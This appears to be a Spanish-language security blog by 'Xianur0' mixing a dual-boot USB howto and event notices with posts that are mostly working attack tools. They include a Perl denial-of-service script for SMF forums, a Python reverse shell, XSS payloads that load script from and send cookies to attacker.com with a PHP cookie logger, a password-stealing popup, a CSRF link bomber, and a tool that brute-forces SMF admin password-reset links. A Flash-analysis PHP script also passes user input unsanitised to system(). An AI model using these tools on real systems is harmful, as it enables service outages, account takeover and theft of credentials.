Howto: 2 distros en una USB

Posted on 16:26 by Xianur0

Me surgio un problema: tengo 1 notebook a la cual no le puedo instalar ninguna distro por la garantia xD... pero tengo 1 usb, entonces le instale wifislax, despues quiero correr mi pentest, pero wifislax no tiene las librerias que quiero, ademas de que quiero usar algunas tools del bactrack, entonces pense, por que no instalar 2 distros en una USB?

Primero, necesitamos bajar los isos de las 2 distros (Versiones LiveUSB) que vamos a instalar, los descomprimimos y copeamos la carpeta del sistema (cuando descomprimen el iso hay 2 carpetas, una la boot y otra la que contiene los archivos de la distro), en mi caso instale wifislax y backtrack y copie las carpetas BT3 (del backtrack) y wifislax (de wifislax obviamente xD) a mi USB, y despues copie la carpeta boot del backtrack.

Renombramos el initrd.gz a initrd2.gz al igual con vmlinuz a vmlinuz2 del wifislax, y los copie dentro de la carpeta boot del backtrack que esta en mi USB.

Despues entramos a: /boot/syslinux
y editamos el archivo: syslinux.cfg, para agregar la referencia del wifislax:

Debajo de:
PROMPT 0
TIMEOUT 40
DEFAULT /boot/vesamenu.c32

Colocamos:

LABEL wifislax
MENU Wifislax
KERNEL /boot/vmlinuz2
APPEND vga=0x317 initrd=/boot/initrd2.gz ramdisk_size=6666 root=/dev/ram0 rw chexpand=256 load=cubez autoexec=xconf;cubez;startx


y guardamos, ahora tenemos que hacer booteable la USB, en caso de que se haga en linux tenemos que ejecutar el archivo: bootinst.sh
dentro de la carpeta boot en nuestra USB.
en windows tenemos que ejecutar: bootinst.bat, que se encuentra en la misma carpeta, y listo, ya tenemos backtrack y wifislax en la usb :)...

Somos una razon del SMF 1.1.9 xD

Posted on 10:37 by Xianur0

Bueno gente... estaba navegando por ahi en internet y me tope con esto:

http://www.simplemachines.org/community/index.php?topic=312445.0

Miren:

Berkaitan dengan sering di-hack atau diserangnya situs2 forum berbasis SMF akhir ini... segera lakukan update/ugrade.

Info masalah keamanan:
Simple Machines Forum "packages.xml" Cross-Site Scripting

Citar
Description:
Xianur0 has discovered a vulnerability in Simple Machines Forum, which can be exploited by malicious people to conduct cross-site scripting attacks.

Input read from the "text" and "description" elements in a "packages.xml" file (e.g. when "action" is set to "packageget", "sa" is set to "browse", and "absolute" is set to the web address serving the malicious "packages.xml" file) is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in an administrative user's browser session in the context of an affected site.

This vulnerability is confirmed in version 1.1.7 and 1.1.8. Other versions may also be affected.

Solution:
Edit the source code to ensure that input is properly sanitised.

Provided and/or discovered by:
Xianur0

Changelog:
2009-02-05: Updated "Description" section with additional version information.

Código: [Seleccionar]
http://secunia.com/advisories/33670/

El motivo de este post, es invitar a los lectores a asistir al diplomado (presencial) que estare dando en la ciudad de Coatepec, Veracruz.

Mas informacion: http://www.ccat.edu.mx/progra.html


V4ndid4 se presenta

Posted on 15:25 by V4ndid4

Nick: V4ndid4
Intereses: Seguridad informatica, programacion y software libre.

Es un placer poder publicar aqui, en el blog de Xianuro, una persona muy especial para mi.
No tengo mucho que decir solo espero poder ayudar con mis conocimientos, aunque sea minimamente, a la gente interezada en aprender sobre este mundo tan complejo y fascinante.

Gracias Xianur0 por dejarme estar aquí, siempre estare para lo que necesites.

Saludos...

V4ndid4

FlashCodeAnalytic

Posted on 9:27 by Xianur0

Basado en Flare para decompilar:

Código:

  
<html><title> Reporte FlashCodeAnalytic v0.1</title><BODY text=#006600><style type="text/css"><!--body {background-color: #000000;background-image: url(http://img201.imageshack.us/img201/1575/cobrafrontcopypk9.jpg);background-repeat: repeat-y;margin-left: 0px;margin-top: 0px;}
-->
</style><center><h1>Reporte FlashCodeAnalytic v0.1 By Xianur0</h1><br><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>

<?php
//Binario del Flare:
$flare = 'flare';
//Fin de la configuracion...
function tabla($mensaje,$linea, $contenido, $numero) {
print '<br><table border="1">
<tr>
<th>'.$mensaje.'</th>
</tr>
<tr>
<td>En la Linea: '.$linea.'</td>
</tr>
</table>
<a href="javascript:expandcollapse('.$numero.')"> Mostrar/Ocultar Codigo</a><br><span class="posthidden" id="'.$numero.'"> <br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>'.$contenido.'</th></tr></table></span><br><br>';
}


$name = explode(".", $_GET['file']);
$n = count($name)-1;
if($name[$n] == "swf" && file_exists($_GET['file'])) decompilar();
else die('Archivo Invalido!d');

function decompilar() {
print system('./'.$flare.' '.$_GET['file']);
analizar();
}

function analizar() {
$decompiled = eregi_replace('.swf','.flr',$_GET['file']);
$archivo = file($decompiled);
$numero = 0;
foreach($archivo as $n=>$linea) {
$i = $n+1;
switch(true) {
case eregi('getURL\(', $linea):
tabla("<br>\nAcceso de datos por URL (getURL):", $i, htmlentities($linea), $numero++);
break;
case eregi('new XMLSocket\(', $linea):
tabla("<br>\nDeclaracion de Socket:",$i, htmlentities($linea), $numero++);
break;
case eregi('sendAndLoad\(', $linea):
tabla("<br>\nEnvio de Datos Detectado (sendAndLoad):",$i, htmlentities($linea), $numero++);
break;
case eregi('\.send\(', $linea):
tabla("<br>\nEnvio de Datos Detectado [.send()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('sendToURL\(', $linea):
tabla("<br>\nEnvio de Datos Detectado (sendToURL):",$i, htmlentities($linea), $numero++);
break;
case eregi('\.load\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [.load()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('\.upload\(', $linea):
tabla("<br>\nUpload Detectado [.upload()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('\.download\(', $linea):
tabla("<br>\nDescarga de Datos Detectado [.download()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('ExternalInterface.call\(', $linea):
tabla("<br>\nLlamada a datos Externos Detectada [ExternalInterface.call()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadPolicyFile\(', $linea):
tabla("<br>\nCarga del Policy [loadPolicyFile()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('addRequestHeader\(', $linea):
tabla("<br>\nDefinicion de Header [addRequestHeader()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadVariables\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [loadVariables()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadMovie\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [loadMovie()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadMovieNum\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [loadMovieNum()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadScrollContent\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [loadScrollContent()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('loadSound\(', $linea):
tabla("<br>\nCarga de Datos Externos Detectado [loadSound()]:",$i, htmlentities($linea), $numero++);
break;
case eregi('new NetStream\(', $linea):
tabla("<br>\nDefinicion de NetStream Detectada:",$i, htmlentities($linea), $numero++);
break;
}
}
}
?>




Detecta:
  • Acceso de datos por URL (getURL)
  • Declaracion de Socket
  • Envio de Datos (sendAndLoad)
  • Envio de Datos [.send()]
  • Envio de Datos (sendToURL)
  • Carga de Datos Externos [.load()]
  • Upload [.upload()]
  • Descarga de Datos [.download()]
  • Llamada a datos Externos [ExternalInterface.call()]
  • Carga del Policy [loadPolicyFile()]
  • Definicion de Header [addRequestHeader()]
  • Carga de Datos Externos [loadVariables()]
  • Carga de Datos Externos [loadMovie()]
  • Carga de Datos Externos [loadMovieNum()]
  • Carga de Datos Externos [loadScrollContent()]
  • Carga de Datos Externos [loadSound()]
  • Definicion de NetStream

Mirrors flare:
DOS/Windows binary: flare06doswin.zip
Mac OS X binary: flare06mac.tgz
Linux x86 binary: flare06linux.tgz
Linux x86 64-bit binary: flare06linux64.tgz
Solaris x86 binary: flare06solaris.tgz

Nota: Descompriman el paquete del flare y copien el binario a la carpeta donde esta el archivo php de arriba, y dependiendo del sistema que usen coloquen en la configuracion del php (debajo del: "<?php") el nombre del binario...
[Lab de Contra-Seguridad Web Mitm]

DNS Hacking y Prevencion de Intrusos

Posted on 16:36 by Xianur0

No acostumbro hacer graficas para nadie xD, pero buee hoy hare la excepcion.
Para que se vean claras las imagenes recomiendo verlas en pantalla completa...

Busco escritores para la segunda version de logickey e-zine.
Para quien no conosca este e-zine, aqui esta la primera version:

http://xianur0.blogspot.com/2008/08/logickey-e-zine-primera-edicion.html

Interesados enviarme un correo a uxmal666[at]gmail[dot]com :)

Cumbre Seguridad Informatica Queretaro

Posted on 16:14 by Xianur0

La URL del evento es:

http://www.cumbreseguridadinformaticaqueretaro.com

Ahí podrá encontrar más información.

Si consideras este evento interesante puedes reenviarlo a otras personas y así apoyar a la seguridad informática del País.

Si tienes una empresa ó trabaja en alguna que sienta que merezca una invitación gratuita para el evento puedes solicitarla en: confirmaciones@cumbreseguridadinformaticaqueretaro.com

Si eres un estudiante puedes considerar ir para despejar tus dudas de muchos temas relacionados con seguridad, hacking, phreacking, urban hacking, cracking, espionaje, delitos informáticos, explosivos, programación, ninjas, etc…

Si trabaja para el gobierno , podrá aprender algo de la industria de la seguridad de la información, a proteger tus sistemas gubernamentales, a cuidar tu información confidencial y sobre todo a no exponer información de los ciudados que confian en la seguridad de los sistemas gubernamentales.

Se agradece cualquier comentario personal a hl@omhe.org

Presentación y Antecedentes:

El ser humano ha evolucionado, y con él sus intereses. La información se ha vuelto esencial para su continuo desarrollo y en ocasiones es base fundamental para sus características funcionales y económicas. La información ahora tiene un valor e importancia que, entonces, demanda un trato y una protección especializada.

Las empresas, el gobierno, los terroristas han tenido que adaptarse a una curva tecnológica que representan los grandes avances en las telecomunicaciones, en tan solo los último 10 años. Con los avances tecnológicos, se sobrevienen grandes amenazas por un lado, y grandes responsabilidades por otros.

Todo en esta vida se basa en sistemas, podemos observar esto en nuestro cuerpo humano empezando por el sistema nervioso.

El que un sistema funcione no quiere decir que sea del todo justo, correcto ó seguro.

La industria de la seguridad de la información se dedica a brindar una falsa sensación de la seguridad a cambio de dinero. Podemos observar a empresas ofreciendo soluciones seguras; ¿Seguras de qué? ¿Seguras contra quién ?

La realidad esque la arquitectura de las soluciones tecnológicas es cada vez más compleja.

El crimen organizado ha evolucionando y para ellos es más sencillo robar passwords, información bancaria, identidades, alterar el contenido de un sitio web, compatir información, etc. Ahora todo está conectado.

El detalle esque nadie hace lo suficiente y nunca será suficiente; el internet lo ha cambiado todo. Ahora podemos viajar de red en red sin tener que ser vistos de manera física, sin pasar por un detector de armas, dejando rastros “MAC, IP address” que pueden ser falsificados de una manera muy sencilla con herramientas que cualquier ser humano puede descargar de internet.

El marco legal en México en materia de seguridad informática es deficiente. Según la encuesta de CSI/FBI cuando una empresa sufre un ataque, la mayoría de las veces no se reporta ya que las empresas han perdido la credibilidad en el sistema legal, nuestros abogados no tienen el entrenamiento adecuado, las autoridades no saben como responder a este tipo de incidentes.

Nuestra agencias de inteligencia no pueden competir contra el crimen organizado en internet, esa es la realidad.

El Internet ha dejado fuera las barreras de distancia, una persona sentada en Japón ó China puede estar controlando una “botnet” con máquinas zombie de cualquier parte del mundo y causando una denegación de servicio a un sitio gubernamental de México.

Los encargados de los sistemas de información lejos de tomar un curso ó una certificación de seguridad deberían de tomar un descanso y analizar el problema de raíz. Una certificación no les brindará el conocimiento para proteger un sistema contra una persona experta en espionaje, tal como pasa en la naturaleza. Si confrontamos a un lobo salvaje contra un perro doméstico creo que se puede asumir rapidamente cual de ellos tiene más posibilidades de ganar.

En el ecosistema de Internet nosotros somos el perro doméstico que necesita aprender como funciona la vida salvaje para poder anticiparse y tratar de protegerse.

Si nos detenemos un poco para tratar de aprender como funciona el cerebro de dichos atacantes desde un punto de vista psicológico podemos desarrollar medidas más proactivas en lugar de correctivas.

La OMHE no pretende brindar la solución a los problemas por la sencilla razón de que no la tenemos; Pero nos gustaría compartir nuestro punto de vista para ayudar a cualquier persona que este interesada.

En la OMHE creemos en la importancia de conocer cosas más allá para poder tener estrategias más efectivas de protección.

Esperamos contar con su asistencia.

GRACIAS

Héctor López - Fundador OMHE www.omhe.org (477) 1918912


Fuente: www.omhe.org


por ahi estare dando conferencia el dia 22 de mayo :P !!

(si gente viajare 8 horas para ir al evento, pero ire xDDD)


Metroflog Link bomber

Posted on 20:19 by Xianur0

Bueno para que sirve?, no lo se, no se me ocurre un uso xD, pero es una de las curiosidades con que me topo xDDD


<script type="text/javascript">
var i=0;
while (i<=500)
{
document.write("<iframe src='http://metroflog.com/myprofile_addtag.php?category=links&value=Xianur0%20Was%20Here&url=http://xianur0.blogspot.com/' width=0 height=0></iframe>");
i=i+1;
}
window.onload = function(){
document.write("<iframe src='http://metroflog.com/myprofile_saveorder.php?category=links'>");
}
</script>

SMF Killer 0.1 (Muy Potente)

Posted on 8:47 by Xianur0


#!/usr/bin/perl
use IO::Socket;

# uxmal666@gmail.com
# By Xianur0

use HTTP::Request;
use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11");

print "\n\x09\x09\x09\x09\x09\x09\x09SMF Killer By Xianur0!\n\n";
my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = $ARGV[2];
my $numero = $ARGV[3];
my $password = $ARGV[4] || die("\nUso: smf.pl [host] [Path] [usuario] [Numeros Registros] [password]\n");
$o=0;
$e=0;
$a=189;
$cookie = logear();
for($i=133;$i<=$numero;$i++) {
if($i>=255) {$i=0;$o++;}
if($o>=255) {$o=0;$e++;}
if($e>=255) {$e=0;$a++;}
if($a>=255) {die("No Mas IPs :)..");}
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'1', );
if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {
$ip = $a.".".$e.".".$o.".".$i;
$paquete = "HEAD $path HTTP/1.1\r\nHost: $host\r\nCLIENT-IP: $ip\nCookie: ".$cookie."\n\n";
$i++;
$ip = $a.".".$e.".".$o.".".$i;
$paquete .= "HEAD $path HTTP/1.1\r\nHost: $host\r\nCLIENT-IP: $ip\nCookie: ".$cookie."\n\n";
print $sock $paquete;
print "\r\nEnviados $ip\r\n";
}}


sub logear() {
my $req = HTTP::Request->new(POST => "http://".$host."/".$path."?action=login2");
$req->content_type('application/x-www-form-urlencoded');
$req->header("CLIENT-IP" => "127.127.127.127");
$req->content("user=".$user."&passwrd=".$password."&cookielength=-1");
my $res = $ua->request($req);
$response = $res->as_string;
@headers = split("\n",$response);
foreach $h (@headers) {
@hs = split("Set-Cookie:",$h);
$cookie .= $hs[1];
}
if($cookie eq "") {
die "\n[!] No se Puede Encontrar la cookie :S\n";
} else { print "[-] Cookie Detectada: ".$cookie."\n";}
return $cookie;
}


tira un foro SMF en menos de un minuto :)

usuario: el usuario que crearon en el foro
password: la password de dicho usuario
Numero de Registros: la cantidad de mensajes que se enviaran en total (este numero se multiplica por 2 y sera el numero de paquetes que el servidor leera por ejemplo si quiero que el servidor se caiga durante mas o menos 1 hora, coloco 5000)

publicado! no hagane stupideses que yo no me hago responsable de nada simplemente les puse el ejemplo de la debilidad del SQL del SMF ante este tipo de situaciones...

Moderation on MITM Forum

Posted on 21:22 by Xianur0

Nominations are Open For Moderation on MITM Forum

Minimum Requirements:


* 15 Posts Content (no spam, no opinions, no content copy & paste)
* Knowledge of the area to moderate
* Time to Keep Your area orderly

More Information:

http://forum.mitm.cl/index.php?topic=874.0

Firefox & SMF Password Stealing By Xianur0

Posted on 16:47 by Xianur0

Firefox & SMF Password Stealing By Xianur0

bbcode example:

[iurl=javascript:document.write(unescape('%3C%73%63%72%69%70%74%3E%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%74%61%63%61%6E%74%65%2E%63%6F%6D%2F%65%76%69%6C%70%6F%70%75%70%2E%68%74%6D%22%2C%22%45%76%69%6C%20%50%6F%70%75%70%22%2C%22%74%6F%6F%6C%62%61%72%3D%6E%6F%2C%20%6C%6F%63%61%74%69%6F%6E%3D%6E%6F%2C%20%64%69%72%65%63%74%6F%72%69%65%73%3D%6E%6F%2C%20%73%74%61%74%75%73%3D%6E%6F%2C%20%6D%65%6E%75%62%61%72%3D%6E%6F%2C%20%73%63%72%6F%6C%6C%62%61%72%73%3D%6E%6F%2C%20%72%65%73%69%7A%61%62%6C%65%3D%79%65%73%2C%20%77%69%64%74%68%3D%35%30%38%2C%20%68%65%69%67%68%74%3D%33%36%35%2C%20%74%6F%70%3D%38%35%2C%20%6C%65%66%74%3D%31%34%30%22%29%3B%3C%2F%73%63%72%69%70%74%3E')+"test");][img]http://.[/img]http://e-r00t.s0me.co.cc


evilpopup.htm example:

<script>
window.opener.location.href='?action=login';
function alertar() {alert("User: " + window.opener.document.frmLogin.user.value + "\nPassword: " + window.opener.document.frmLogin.passwrd.value + "\nHacked! jejeje");}setTimeout("alertar()", 3000);
</script>



uno mas basado en la misma ciencia y en la falla de seguridad de firefox con el manejo de passwords guardadas jejejeje :)...

Advance Reverse Shell By Xianur0 [Python]

Posted on 19:50 by Xianur0



#!/usr/bin/env python -u

# By Xianur0
# uxmal666@gmail.com

import sys, socket, os

if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print 'Fork No Valido!'
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
handler.sendall(('\n<-------------------------Advance Reverse Shell By Xianur0-------------------->\n'))
while handler.recv:
handler.sendall(('\n\nXianur0:~ '))
os.system('/bin/bash')
except:
print "[!] Error conectando"

XSS BBCode Exploit SMF All Versions

Posted on 12:48 by Xianur0

Author: Xianur0

BBCode of the smf not filtered properly specified urls:

Código:
[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro
:D...[/url][/size]
[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]

Click on the image, run the javascript..

BBC Cookie Exploit:

Código:
[center][size=14pt][url=][/url][/size]
[url=javascript:
document.write(unescape('%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%22%30%25%22%20%68%65%69%67%68%74%3D%22%30%25%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%74%74%61%63%6B%65%72%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%65%72%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%20%2B%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%20%2B%20%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]

PHP Cookie Stealer:

Código:
<?php
$cookie
= $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>

Author: Xianur0
Vulnerable Version: All

http://securityreason.com/exploitalert/5590

[PoC] Problems Invalids DNS Records

Posted on 14:06 by Xianur0

A classic error is that the DNS records are created by default "A" record that points to localhost 127.0.0.1, for example:
localhost.php.net = 127.0.0.1
If we make an HTTP GET query subdomain that the result is redirected to our own computer on port 80, so we can create an exploit that capture the data coming into this port (including cookies)

PoC Applet:

Código:
/*
* PoC Problems Invalids DNS Records.
* Author: Xianur0
* Credits:
* Pandora's Box Team: http://e-r00t.s0me.co.cc
* Infierno Hacker: http://www.infiernohacker.com/
*/
import java.applet.Applet;
import java.io.*;
import java.net.*;

//By Xianur0
//uxmal666@gmail.com

public class PoC extends Applet {
public static void main(String args[])
{
// Message terminator
char EOF = (char)0x00;
try
{
ServerSocket s = new ServerSocket(80);
System.out.println("Server started. Waiting for connections...");
// wait for incoming connections
Socket incoming = s.accept();
BufferedReader data_in = new BufferedReader(new InputStreamReader(incoming.getInputStream()));
PrintWriter data_out = new PrintWriter(incoming.getOutputStream());
// HTTP Response (Fake)
data_out.println("OK - 200\nCache-Control: private, max-age=0\nDate=Sat, 17 Jan 2009 18:15:23 GMT\nExpires: -1\nServer: Xianur0Exploit\nContent-Type=text/html; charset=UTF-8\n\nXianur0 Was Here!\n\n" + EOF);
data_out.flush();

boolean quit = false;

while (!quit)
{
String msg = data_in.readLine();
if (msg == null) quit = true;
System.out.println("HTTP Header: "+msg.trim()+EOF);
data_out.flush();
}
}
catch (Exception e)
{
System.out.println("Can not create socket!");
}
}
}




only need to call the applet which created a socket to listen on port 80 and print data arriving Smiley...


Nota: A los que decían que era imposible este bug simplemente les dire me salio el applet!! xDDDDDD

para que entiendan mas el como funciona:

http://xianur0.blogspot.com/2008/08/xss-otro-nivel.html

aunque supongo que ya es un tema muy simple de entender xDDD


#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;
use LWP::Simple;
use HTTP::Request;

#By Xianur0
#Uxmal666@gmail.com

print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";
my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL] [Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n-c Link crack Activation (Recommended Use Proxy)");
version();
my $proxy = $ARGV[2] || "";
if($ARGV[0] ne "-c" && $proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

getopts('fplbc', \%opt);
crackeador() if $opt{c};
flood() if $opt{f};
path() if $opt{p};
list() if $opt{l};
temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}

sub version {
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$req = HTTP::Request->new(GET => $url);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by SMF (.*?)<\/a>/){
$version = $1;
print "\n[X] SMF Version: $version\n";
if($version < "1.1.7") {
print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X] http://milw0rm.com/search.php?dong=smf".$version."\n\n";
}
}}}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){
print "[X] Directory: $1\n";
} else { print "[!] Getting error Directory!\n";}
}
}

sub flood {
print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "[-] Sent: ".$i."\n";
} else {
print "[!] HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "[X] Temporary File Found: ".$url."/".$temp."\n";
} else {print "[!] Not Found: ".$url."/".$temp."\n";}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "[X]Package:\nDescription: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID Admin] [Proxy:Puerto]\nExample: smf.pl -c http://www.simplemachines.org/community/ dschwab9 179 www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
print "\n[+] sc Detected: $1\n";
$sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('user='.$nick.'&sc='.$sc.'&=enviar');
$req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";

}

sub generador() {
my $password = "";
my $checksum = "";
my @chars = split(" ","0 1 2 3 4 5 6 7 8 9 a b c d e f");
for (my $i=0; $i < 10 ;$i++) {
$_rand = int(rand 16);
$password .= $chars[$_rand];
}
return $password;
}

sub brute() {
while($bucle ne "finito") {
$code = generador();
my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
my $content = HTTP::Request->new(GET => $reminder);
my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
$sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
$req->header('Cookie' => $session);
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}

print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}

Nota: Gracias Gente por hacerme notar que los códigos de los links tienen checksum :)..

la funcion del crackeador es la que esta activa en todos los SMF, es decir, no hay un sistema anti-flood/que filtre el probar códigos para resolver el link de recuperación, es decir envio el mail de recuperación a la cuenta del admin, y se le envia un link con un código de 10 caracteres que solo cubren letras y numeros, y además no hay un sistema que detecte cuando se esta usando un bot para probar los códigos del link (es decir se genera aleatorio 10 caracteres y se prueba intentar cambiar la password y si el admin no ve el correo en su bandeja, en un rato la tool lograra descubrir el código del link de recuperación y cambiar la password, por ende en un rato con esa tool ya tienes la cuenta del admin :)...)

todo esto automatizado (desde el envio del mail hasta el cambiar la password y generar el código).

Simple no?

Editor Hexadecimal PHP By Xianur0

Posted on 13:23 by Xianur0


<?php
function html() {
print '<html>
<head><title>Editor Hexadecimal PHP By Xianur0</title></head>
<body>
<h1>Editor Hexadecimal PHP By Xianur0</h1>
<form method="post">
Path Archivo: <input name="archivo" type="text">
<br><input type="submit" value="Hex!">
</form>';
}
function descargar($descargar){
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=cambiarnombre\n");
print $descargar;
}
if(isset($_POST['archivo'])) {
define("path",$_POST['archivo']);
function detectar($byte) {
$linea = 1;
print "<form method='post'><textarea name='modificado' rows='20' cols='40'>";
for ($i = 0; $i < strlen($byte); $i++) {
if(is_int($i/8)) {$linea++; $caracter = "\n".$linea.". ";} else $caracter = " ";
$ordenados .= $byte{$i}.$caracter;
$ordenadosh .= ord($byte{$i}).$caracter;
}
print "1. ";
print $ordenadosh;
print "</textarea><textarea readonly='true' rows='20' cols='40'>";
print "1. ";
print $ordenados."</textarea><br><br><input type='submit' value='Guardar!'></form>";
}
$handle = @fopen(path, "rb");
$codigo = @fread($handle, filesize(path));
@fclose($handle);
detectar($codigo);
}
if(isset($_POST['modificado'])) {
function guardar($modificado) {
$lineas = explode("\n", $modificado);
foreach($lineas as $valor) {
$valores = explode(".", $valor);
$cadena .= $valores[1];
}
$caracter = explode(" ", $cadena);
foreach($caracter as $valor) {
$legible .= chr($valor);
}
descargar($legible);
}
guardar($_POST['modificado']);
exit;
}
html();
?>